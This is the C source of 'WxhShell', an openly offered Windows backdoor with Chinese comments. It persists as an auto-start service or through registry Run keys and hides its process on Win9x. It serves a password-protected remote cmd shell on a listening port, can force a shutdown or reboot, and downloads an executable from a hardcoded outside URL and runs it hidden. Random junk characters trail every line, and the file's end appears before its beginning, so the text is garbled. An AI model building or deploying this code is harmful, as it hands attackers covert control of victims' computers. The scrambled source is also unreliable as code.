  case 'd': { ;{iTS sb  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); uW[AnQ1w  
    if(Boot(SHUTDOWN)) Z9% u,Cb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pk5\v0vkg  
    else { >yVrIko  
    closesocket(wsh); leizjL\P  
    ExitThread(0); y<`:I|y  
    } $ <[r3  
    break; ;*Y+.?>a  
    } -Tuk.>i)  
  // 获取shell Qqb%^}Xx'u  
  case 's': { *Y53b Z  
    CmdShell(wsh); 3~WI3ZIR  
    closesocket(wsh); @*op5qVw  
    ExitThread(0); A9DFZZ0  
    break; KU+u.J  
  } l&] %APL  
  // 退出 MB>4Y]rtU  
  case 'x': { Z *l&<q>#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~]W @+\l  
    CloseIt(wsh); 066\zAPdH  
    break; `+TC@2-?  
    } '{JMWNY  
  // 离开 6,~ %  
  case 'q': { /N/jwLr  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @wAYhnxq  
    closesocket(wsh); k-s|gC4  
    WSACleanup(); cqZ lpm$c  
    exit(1); 7I(QTc)*  
    break; <Z]j89wzDZ  
        } E){ODyk  
  } | z}VP-L  
  } .bh 7  
UY.o,I> s  
  // 提示信息 |P9)*~\5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @frV:%  
} Opy{i#>  
  } 4.kn , s  
M M @&QaK  
  return; rO1N@kd/  
} DYZk1  
gK *=T  
// shell模块句柄 5X]f}6kT  
int CmdShell(SOCKET sock) XL1x8IB  
{ Esj1Vv#  
STARTUPINFO si; ^q}phj3E  
ZeroMemory(&si,sizeof(si)); &;vMJ   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )T(1oK(g  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3ox|Mz<aZX  
PROCESS_INFORMATION ProcessInfo; h: z$uG  
char cmdline[]="cmd"; daQJ{Cd,w  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); sC :.}6  
  return 0; Y{4nBu  
} #iD`Bg!VXc  
PEKXPF N  
// 自身启动模式 BH$hd|KD<  
int StartFromService(void) rXGaav9  
{ ldaT: er9  
typedef struct cft@s Y  
{ f.vJJa  
  DWORD ExitStatus; ~ /K'n  
  DWORD PebBaseAddress; FA%BzU5^  
  DWORD AffinityMask; CA/Lv{[2  
  DWORD BasePriority; +- hfl/$  
  ULONG UniqueProcessId; -7I %^u  
  ULONG InheritedFromUniqueProcessId; UD2 l!)rW  
}   PROCESS_BASIC_INFORMATION; _*t75e$-  
H5gcP11r  
PROCNTQSIP NtQueryInformationProcess; xWWVU}fd1  
T+5H2]yy)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `,c~M  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ub4(g~E  
e:QH3|'y  
  HANDLE             hProcess; j2hp*C'^  
  PROCESS_BASIC_INFORMATION pbi; gb^'u  
 `7V'A  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $D*Yhv!/  
  if(NULL == hInst ) return 0; [XA:pj;rg'  
vcOw`oS  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /5f=a  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); cdL0<J b,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "@xL9[d  
2.a{,d  
  if (!NtQueryInformationProcess) return 0; 8tT/w5  
_tnoq;X[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /EVXkf0  
  if(!hProcess) return 0; 1HRcEzA  
C8 $KVZ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [Z]CBEE  
~.S/<:`U  
  CloseHandle(hProcess); [hiV #  
- l0X]&Ex  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <Um5w1  
if(hProcess==NULL) return 0; cw~-%%/  
Ige*tOv2  
HMODULE hMod; 2<_|1%C  
char procName[255]; X&%;(`  
unsigned long cbNeeded; gYw=Z_z  
$j0<ef!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6s:  
q:,ck@-4  
  CloseHandle(hProcess); 3+vMi[YO  
h& Ezhv2  
if(strstr(procName,"services")) return 1; // 以服务启动 <ZoMKUuB  
^%33&<mB}  
  return 0; // 注册表启动 }~ga86:n0  
} n=h!V$X   
^QTkre  
// 主模块 zgSv -h+f  
int StartWxhshell(LPSTR lpCmdLine) `S]DHxS  
{ 7I:<i$)V  
  SOCKET wsl; ","to  
BOOL val=TRUE; DPlmrN9@=  
  int port=0; _&$nJu  
  struct sockaddr_in door; +Jq~39  
zj;Ktgc E  
  if(wscfg.ws_autoins) Install(); ,Mu"r!MK  
]ex2c{ G  
port=atoi(lpCmdLine); tj" EUqKQ  
arn7<w0  
if(port<=0) port=wscfg.ws_port; o{MmW~/o&  
g+ cH  
  WSADATA data; J['?ud}@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ].x`Fq3  
q{Gf@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   IOH6h=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); S\A9r!2  
  door.sin_family = AF_INET; JjBlje  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =K6{AmG$  
  door.sin_port = htons(port); fSm|anuKZe  
X0]5I0YP  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { v ,)vW5jGI  
closesocket(wsl); vsbD>`I  
return 1; -+ Mh( 'K  
} ~"U^N:I"  
(=QiXX1r  
  if(listen(wsl,2) == INVALID_SOCKET) { G -RE  
closesocket(wsl); t",b.vki\z  
return 1; {pk&dB _Bu  
} 22v= A6 =  
  Wxhshell(wsl); HVM(LHm=:  
  WSACleanup(); NYF 7Ep; _  
4]ETF+   
return 0; q<Wz9lDMNR  
2!6-+]tC  
} d>`s+B9K0  
Jgzg[6  
// 以NT服务方式启动 h1QrFPQnu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }Ld eU:E4  
{ K55]W2I9  
DWORD   status = 0; Q+^"v]V`d  
  DWORD   specificError = 0xfffffff; h8?E+0  
NGuRyZp69&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; jH]?vpP  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; JO|xX<#:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %`^{Hh`  
  serviceStatus.dwWin32ExitCode     = 0; j{H,{x  
  serviceStatus.dwServiceSpecificExitCode = 0;  u~j&g  
  serviceStatus.dwCheckPoint       = 0; aumM\rY  
  serviceStatus.dwWaitHint       = 0; N5@l[F7I  
sFonc  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <FU1|  
  if (hServiceStatusHandle==0) return; Gq;!g(  
t p3 !6I6  
status = GetLastError(); Z oQPvs7_  
  if (status!=NO_ERROR) G:!'hadw  
{ :LX (9f   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [|oOP$u  
    serviceStatus.dwCheckPoint       = 0; JCZ5q9b  
    serviceStatus.dwWaitHint       = 0; pq<2:F:Kl  
    serviceStatus.dwWin32ExitCode     = status; PRyzUG&  
    serviceStatus.dwServiceSpecificExitCode = specificError; Q`(.Blgm;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); V=5v7Y3( j  
    return; Qon>[<]B  
  } HT=-mwa_]  
2)+ddel<Z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; A$XmO}+  
  serviceStatus.dwCheckPoint       = 0; 5$"I Uq*  
  serviceStatus.dwWaitHint       = 0; T Ue=Yj  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @hIHvLpRB  
} tJZ3P@ L  
g7<u eF  
// 处理NT服务事件,比如:启动、停止 #(Ezt% ^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {&s.*5  
{ ?M@ff0  
switch(fdwControl) @N+6qO}  
{ XiN@$  
case SERVICE_CONTROL_STOP: _6{XqvWqb  
  serviceStatus.dwWin32ExitCode = 0; {x/)S*:Z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =9cN{&qf  
  serviceStatus.dwCheckPoint   = 0; . I#dR*  
  serviceStatus.dwWaitHint     = 0; 'mU7N<Q$qQ  
  { b0lZb'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2W vf[2Xw  
  } 8YwSaBwO  
  return; p& +w  
case SERVICE_CONTROL_PAUSE: ~<Sb:I zld  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; tk,Vp3p  
  break; \TTt!"aK  
case SERVICE_CONTROL_CONTINUE: 04QY x}a  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; J+=+0{}  
  break; guWX$C-+1  
case SERVICE_CONTROL_INTERROGATE: _16IP  
  break; "o>gX'm*  
}; 56^#x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !Di*y$`}b  
} s!F` 0=J^  
2]f?c%)I  
// 标准应用程序主函数 EiWsVic[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ; `-@L  
{ k<!xOg  
-@yu 9=DT  
// 获取操作系统版本 n>:|K0u"  
OsIsNt=GetOsVer(); 29AWg(9?aS  
GetModuleFileName(NULL,ExeFile,MAX_PATH); LKe ~  
t {RdqAF  
  // 从命令行安装 8:)itYE  
  if(strpbrk(lpCmdLine,"iI")) Install(); eJ tfQ@?  
;$$.L bb8  
  // 下载执行文件 JN:EcVuy  
if(wscfg.ws_downexe) { mnS F=l;;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) sDzlNMr?P+  
  WinExec(wscfg.ws_filenam,SW_HIDE); BP`'1Ns  
} Fy-N U  
OVgx2_F  
if(!OsIsNt) { 4J6,_8`U  
// 如果时win9x,隐藏进程并且设置为注册表启动 %$H~  
HideProc(); ~AbTbQ3  
StartWxhshell(lpCmdLine); 'SE?IE{  
} BARs1^pR4  
else leomm+f^  
  if(StartFromService()) ~k[q:$T  
  // 以服务方式启动 =[T_`*s&  
  StartServiceCtrlDispatcher(DispatchTable); NM:\T1  
else l&4+v.zr  
  // 普通方式启动 -P'KpX:]hd  
  StartWxhshell(lpCmdLine); `' "125T  
l&LrcM  
return 0; UpIt"+d2&  
} yCLDJ%8  
|#_`aT"  
Eggdj+  
l!^+Xeg~  
=========================================== /!L#cUog  
60r4%> d  
B>"O~ gZ{#  
1hnw+T<<W  
`(@}O?w!1  
I? o)X!  
" R#0Z  
b9gezXAcd  
#include <stdio.h> DEcsFC/SK  
#include <string.h> a2tRmil  
#include <windows.h> :`w'}h7m  
#include <winsock2.h> lyYi2& %  
#include <winsvc.h> }E%#g#  
#include <urlmon.h> "U DV4<|^k  
Hp!c\z;  
#pragma comment (lib, "Ws2_32.lib") Q4vl  
#pragma comment (lib, "urlmon.lib") FJl_2  
}u aRS9d  
#define MAX_USER   100 // 最大客户端连接数 H6I]GcZ$  
#define BUF_SOCK   200 // sock buffer Bw;LGEHi|  
#define KEY_BUFF   255 // 输入 buffer /:],bNb  
l[D5JnWxt  
#define REBOOT     0   // 重启 )lsR8Hi8  
#define SHUTDOWN   1   // 关机 :xz,PeXo7  
gZLzE*NZ  
#define DEF_PORT   5000 // 监听端口 5o&noRIIr  
|JD"iP:  
#define REG_LEN     16   // 注册表键长度 4$^\s5K  
#define SVC_LEN     80   // NT服务名长度 ]gHi5]\NC  
jjLwHJ  
// 从dll定义API h &R1"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,|r%tNh<8$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); D#I^;Xg0h  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); CCQ38P@rv  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); a\BV%'Zqg  
fI([vI  
// wxhshell配置信息 ~ & @UH  
struct WSCFG { 71GyMtX   
  int ws_port;         // 监听端口 @ppT;9<d  
  char ws_passstr[REG_LEN]; // 口令 ^OWA   
  int ws_autoins;       // 安装标记, 1=yes 0=no '!wI8f  
  char ws_regname[REG_LEN]; // 注册表键名 tDk!]  
  char ws_svcname[REG_LEN]; // 服务名 wVms"U.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `$5 QTte  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Arzyq_ Yk  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 v==b. 2=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {-fhp@;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" m\hzQ9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 wG\ +C'&~  
Wu!s  
}; WE|-zo  
'zg; *)x1/  
// default Wxhshell configuration wcI? .  
struct WSCFG wscfg={DEF_PORT, S);SfNh%CL  
    "xuhuanlingzhe", i:coNK)4  
    1, qP}187Q1  
    "Wxhshell", +%%Ef]  
    "Wxhshell", %gb4(~E+N  
            "WxhShell Service", 1K`7  
    "Wrsky Windows CmdShell Service", C =6.~&(  
    "Please Input Your Password: ", X*^^W_LH.  
  1, ^-&BGQM  
  "http://www.wrsky.com/wxhshell.exe", PS=N]e7k'  
  "Wxhshell.exe" 4|#@41\ B  
    }; jrKRXS  
UbnX%2TW  
// 消息定义模块 :47bf<w|Y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1YrIcovi-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; v, VCbmc  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $xK2M  
char *msg_ws_ext="\n\rExit."; 'fGB#uBt  
char *msg_ws_end="\n\rQuit."; $gv3Up"U  
char *msg_ws_boot="\n\rReboot..."; 7`c\~_Df_  
char *msg_ws_poff="\n\rShutdown..."; aA|<W g  
char *msg_ws_down="\n\rSave to "; XJ3p<  
Ww[Xqmg  
char *msg_ws_err="\n\rErr!"; $k,wA8OZ-  
char *msg_ws_ok="\n\rOK!"; A./ VO  
`v|w&ty*  
char ExeFile[MAX_PATH]; b-+~D9U <  
int nUser = 0; 0S%xm'|N  
HANDLE handles[MAX_USER]; l 7XeZ} S  
int OsIsNt; nN]GO}  
1j!LK-  
SERVICE_STATUS       serviceStatus; a^ _ _Z3g,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; KS3>c7  
\Xr Sn_p-  
// 函数声明 I+4#LR3;  
int Install(void); =G9 9U/  
int Uninstall(void); <U]!1  
int DownloadFile(char *sURL, SOCKET wsh); qq,#bRe  
int Boot(int flag); 5!b+^UR;z  
void HideProc(void); $Sx(vq6(  
int GetOsVer(void); /~O>He  
int Wxhshell(SOCKET wsl); j^V r!y  
void TalkWithClient(void *cs); @X?7a]+;8  
int CmdShell(SOCKET sock); %lbDcEsf9  
int StartFromService(void); A%[ BCY_  
int StartWxhshell(LPSTR lpCmdLine); <*/IV<  
.yF@Ow  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); cOq'MDr  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0'3f^Ajf  
BWWO=N  
// 数据结构和表定义 P5K=S.g  
SERVICE_TABLE_ENTRY DispatchTable[] = +}.~"  
{ R_7[7 /a  
{wscfg.ws_svcname, NTServiceMain}, wigs1  
{NULL, NULL} j v4O  
}; QH d^?H*  
F+m%PVW:  
// 自我安装 2YbI."ob  
int Install(void) D"z3SLFW{  
{ O)jpnNz  
  char svExeFile[MAX_PATH]; A5\00O~  
  HKEY key; X9-WU\?UC  
  strcpy(svExeFile,ExeFile); nqFJNK]a  
%tvP\(]h  
// 如果是win9x系统,修改注册表设为自启动 cS2PrsUx  
if(!OsIsNt) { 4m:D8&D_M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "PD^]m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kF@Z4MB}yr  
  RegCloseKey(key); VL?sfG0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Mjon++>Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w wuM!Z+  
  RegCloseKey(key); k Xg&}n7  
  return 0; Lhz*o6)  
    } sc0.!6^'V  
  } =.48^$LWx  
} '-l.2IUyT  
else { q^w@l   
CQANex4&\  
// 如果是NT以上系统,安装为系统服务 }mYxI^n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7K 'uNPC  
if (schSCManager!=0) zzH^xxg  
{ m}$7d5  
  SC_HANDLE schService = CreateService E^`-:L(_  
  ( ]wZlJK`K  
  schSCManager, {M^BY,%*  
  wscfg.ws_svcname, [KMNMg  
  wscfg.ws_svcdisp, w:VD[\h  
  SERVICE_ALL_ACCESS, +L,V_z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +7KRoF|  
  SERVICE_AUTO_START, * @=ZzL  
  SERVICE_ERROR_NORMAL, x##0s5Qn  
  svExeFile, Uk'bOp  
  NULL, 1s_N!a  
  NULL, Vm*E^ v  
  NULL, >lV'}0u)  
  NULL, Nrn_Gy>|D  
  NULL Tfz _h~D  
  ); E Xxv  
  if (schService!=0) ;TC"n!ew  
  { Tpd|+60g  
  CloseServiceHandle(schService); F+SqJSa  
  CloseServiceHandle(schSCManager); 4~K%,K+Du  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); LG+2?+tE"  
  strcat(svExeFile,wscfg.ws_svcname); 0sA+5*mdM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { KSAE!+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;I/ A8<C  
  RegCloseKey(key); i,B<k 0W9  
  return 0; dJjkH6%}  
    } 4o<rj4G>  
  } #I"s{*  
  CloseServiceHandle(schSCManager); _M) G  
} 2j;9USZ p  
} F;L8FL-  
'N3)>!Y:8  
return 1; b]b+PK*h  
} 2 oo/KndU  
`tPVNO,l  
// 自我卸载 6Qk[TL)t  
int Uninstall(void) l86gs6>  
{ DS1{~_>nFu  
  HKEY key; R uGG3"|  
fgoLN\  
if(!OsIsNt) { ictV7)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `k6ZAOQtX  
  RegDeleteValue(key,wscfg.ws_regname); f.Y [2b  
  RegCloseKey(key); TjE'X2/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,rS?^"h9  
  RegDeleteValue(key,wscfg.ws_regname); *>h|<|T'  
  RegCloseKey(key); P?ms^   
  return 0; mKBO<l{S  
  } b+CJRB1  
} lc$wjK[w[  
} jVPX]8  
else { bE;c&g  
O.DO,]Uh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3yrb7Rn3  
if (schSCManager!=0) neQ~h4U"  
{ [DZ|Ltv  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @'9m()%-]g  
  if (schService!=0) 7^7Jh&b)/  
  { #U(kK(uO  
  if(DeleteService(schService)!=0) { `&9iC 4P  
  CloseServiceHandle(schService); 8'"=y}]H~  
  CloseServiceHandle(schSCManager); p,.6sk  
  return 0; aJ QzM  
  } M1icj~Jr  
  CloseServiceHandle(schService); RGL2S]UFs  
  } xnf J ruT  
  CloseServiceHandle(schSCManager); +e, c'.  
} l,*5*1lM  
} Wu"1M^a  
g4u 6#.m(  
return 1; pMJm@f  
} |BUgsE  
/xSFW7d1  
// 从指定url下载文件 @QMy!y_K~m  
int DownloadFile(char *sURL, SOCKET wsh) L~%7=]m  
{ %!r.) Wx|2  
  HRESULT hr; pC]XbokES  
char seps[]= "/"; +0?1"2  
char *token; D4\[D8pD  
char *file;  fDloL  
char myURL[MAX_PATH]; 'b0r?A~c=  
char myFILE[MAX_PATH]; <F8e?xy  
W*Si"s2  
strcpy(myURL,sURL);  o*Xfgc  
  token=strtok(myURL,seps); 9Z21|5  
  while(token!=NULL) JA*+F1s  
  { nEUUD3a  
    file=token; ps;dbY*s6  
  token=strtok(NULL,seps); %E5b }E#  
  } Y]7503J  
,kf.'N  
GetCurrentDirectory(MAX_PATH,myFILE); sopf-g:  
strcat(myFILE, "\\"); Q:|W/RD~  
strcat(myFILE, file); $H)Q UFyC  
  send(wsh,myFILE,strlen(myFILE),0); t.dr<  
send(wsh,"...",3,0); |dz"uIrT  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); X 5\xq+Ih  
  if(hr==S_OK) e=l:!E10  
return 0; M!kSt1  
else KZTLIZxI-  
return 1; OLqV#i[K#9  
&=x4M]t9L  
} ;*$e8y2  
Jt[,V*:#  
// 系统电源模块 ="5D}%  
int Boot(int flag) c6lCF &  
{ [_nOo`  
  HANDLE hToken; d]Y;rqjue  
  TOKEN_PRIVILEGES tkp; MI'"Xzp{s  
 4=ovm[  
  if(OsIsNt) { ,zdGY]$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); i!RfUod  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); lm 96:S  
    tkp.PrivilegeCount = 1; =@0J:"c  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; YVwpqOE.=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Xl<iR]lda  
if(flag==REBOOT) {  |iI dm  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3C<G8*4);/  
  return 0; <zL_6Y2  
} 3LT~- SvL  
else { w|6/i/X  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) q" f65d4c  
  return 0; lcm3wJ'w  
} E*u*LMm  
  } BvsSrse  
  else { oOaFA+0x  
if(flag==REBOOT) { |?#JCG  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +]nIr'V  
  return 0; W;yc)JB   
} Eamt_/LKf  
else { lKw-C[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) B ,cFvS  
  return 0; 4~&3.1  
} |$b8(g$s)  
} y]0O"X-G  
x};~8lGT>t  
return 1; >x JzV  
} ~1%*w*  
IJ&Lk=2E]  
// win9x进程隐藏模块 W-l+%T!  
void HideProc(void) L7Hv)  
{ v@soS1V!  
o0]YDX@T  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); nj'5iiV`]  
  if ( hKernel != NULL ) 5XUm}D$  
  { Ga5*tWj  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); xy]O8> b  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); **L&I5Hhm  
    FreeLibrary(hKernel); p X{wEc6}  
  } jwT` Z  
gDVsi  
return; Q{|%kU"  
} P,ueLG=  
953qz]Q8  
// 获取操作系统版本 ?UAuUFueA  
int GetOsVer(void) dI ,A;.  
{ @k&6\1/U  
  OSVERSIONINFO winfo; \^*:1=|7u]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $j.;$~F  
  GetVersionEx(&winfo); _i}b]xfM  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) I09 W=  
  return 1; O{_t*sO9q*  
  else vt{[_L(h  
  return 0; r=5 S0  
} !i)!|9e  
6[3Xe_  
// 客户端句柄模块 /iFn =pk1?  
int Wxhshell(SOCKET wsl) =S`h/fru  
{ Ohk\P;}  
  SOCKET wsh; LDc EjFK(  
  struct sockaddr_in client; 7DJEx~"!2-  
  DWORD myID; 5[Vr {^)  
SK\@w9#&$  
  while(nUser<MAX_USER) @  W>@6E  
{ hK3-j;eg  
  int nSize=sizeof(client); |y U!d %  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); B18BwY  
  if(wsh==INVALID_SOCKET) return 1; P|<V0 Vs.  
"00j]e.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~j'D%:[+VH  
if(handles[nUser]==0) 1`K-f m)  
  closesocket(wsh); i90X0b-A  
else 'z;(Y*jb  
  nUser++; Xx{| [2`  
  } VGc*aQYa  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); N!(mM;1X)  
o>r P\  
  return 0; &T,|?0>~=J  
} ] #@:VR  
*'-4%7C`1  
// 关闭 socket <=">2WP{  
void CloseIt(SOCKET wsh) EwzR4,r\M  
{ (p[#[CI9  
closesocket(wsh); ,Q-,#C"  
nUser--; v1,#7s AW'  
ExitThread(0); N.JR($N$  
} ?>h ~"D#  
ChTq!W  
// 客户端请求句柄 '#f<wf n  
void TalkWithClient(void *cs) ^~H{I_Y  
{ @KTuG ?.  
8M*+ |  
  SOCKET wsh=(SOCKET)cs; ~a ([e\~  
  char pwd[SVC_LEN]; ed,A'S= d  
  char cmd[KEY_BUFF]; T/3LJGnY  
char chr[1]; vTK%4=|1}!  
int i,j; }ssV"5M  
>[;W ~*  
  while (nUser < MAX_USER) { -wXeue},>  
']1n?K=A  
if(wscfg.ws_passstr) { mH$tG $  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /*qRbN  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Mk}T  
  //ZeroMemory(pwd,KEY_BUFF); 7 ~~ug  
      i=0; _"1RidhH  
  while(i<SVC_LEN) { [<#j K}g  
='h2z"}\Bn  
  // 设置超时 NfvPE]S  
  fd_set FdRead; !q2zuxq!R  
  struct timeval TimeOut; D.a>i?W  
  FD_ZERO(&FdRead); Q/S ^-&~  
  FD_SET(wsh,&FdRead); -{\(s=%  
  TimeOut.tv_sec=8; #%"G[B  
  TimeOut.tv_usec=0; Zk=,`sBC  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); iwK.*07+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <gF]9%2E  
k_7m[o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;7P '>j1?U  
  pwd=chr[0]; )dkU4]  
  if(chr[0]==0xd || chr[0]==0xa) { VmqJMU>.  
  pwd=0; qdix@ @  
  break; Te-p0x?G.  
  } 1B4Qj`:+0  
  i++; .$&^yp  
    } -!PJHCLd  
j}^w :W76  
  // 如果是非法用户,关闭 socket AM}2=Ip  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;ek*2Lh  
} Y :!L  
2`4m"DtA  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); FgH7YkKrD  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {XOl &  
~m6=s~Vn  
while(1) { gK rUv0&F  
= QBvU)Ki  
  ZeroMemory(cmd,KEY_BUFF); !/}3/iU  
pa!BJ]~  
      // 自动支持客户端 telnet标准   %+~\I\)1  
  j=0; z5jw\jBD  
  while(j<KEY_BUFF) { TPN+jK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jKq*@o~}  
  cmd[j]=chr[0]; [|Qzx w9  
  if(chr[0]==0xa || chr[0]==0xd) { ).71gp@&  
  cmd[j]=0; iww/s  
  break; tJ^p}yxO  
  } Hm2Y% 4i%  
  j++; 1[!:|=  
    } g6,DBkv2  
|[.-pA^  
  // 下载文件 8%9 C<+.R  
  if(strstr(cmd,"http://")) { /.SG? 5t4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); T`x|=}  
  if(DownloadFile(cmd,wsh)) {srP3ll P  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); E#J})cPzw  
  else f!'i5I]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q_b!+Y  
  } O <Rh[Aqn  
  else { `==l 2AX  
XO <0;9|  
    switch(cmd[0]) { h5P_kZJ  
  ;XN|dq  
